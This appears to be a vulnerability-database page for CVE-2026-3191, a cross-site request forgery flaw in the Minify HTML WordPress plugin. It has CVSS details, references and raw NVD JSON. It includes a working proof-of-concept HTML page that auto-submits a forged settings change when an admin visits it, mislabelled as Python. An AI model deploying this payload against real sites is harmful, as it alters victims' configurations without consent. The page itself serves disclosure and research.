CVE-2026-3191

Description

The Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.12. This is due to missing or incorrect nonce validation on the 'minify_html_menu_options' function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Minify HTML plugin for WordPress <= 2.1.12

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-3191 CSRF -->
<!-- This HTML page attempts to update plugin settings automatically when visited by an admin -->
<html>
  <body>
    <script>
      function submitRequest() {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://target-site/wp-admin/admin-post.php", true);
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        // Payload to update settings, action matches the vulnerable function hook
        xhr.send("action=minify_html_menu_options&minify_html_css_remove=true&minify_html_js_remove=true");
      }
      // Auto-submit on load
      window.onload = submitRequest;
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3191
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3191
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3191/
[4] VulDB https://vuldb.com/cve/CVE-2026-3191
[5] https://plugins.trac.wordpress.org/browser/minify-html-markup/tags/2.1.12/minify-html.php#L139
[6] https://plugins.trac.wordpress.org/changeset/3486011/minify-html-markup
[7] https://www.wordfence.com/threat-intel/vulnerabilities/id/fe14b92b-1784-4083-9b9f-23d7f69a3215?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3191", "sourceIdentifier": "[email protected]", "published": "2026-03-31T12:16:31.200", "lastModified": "2026-04-24T18:11:16.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Minify HTML plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.12. This is due to missing or incorrect nonce validation on the 'minify_html_menu_options' function. This makes it possible for unauthenticated attackers to update plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/minify-html-markup/tags/2.1.12/minify-html.php#L139", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3486011/minify-html-markup", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/fe14b92b-1784-4083-9b9f-23d7f69a3215?source=cve", "source": "[email protected]"}]}}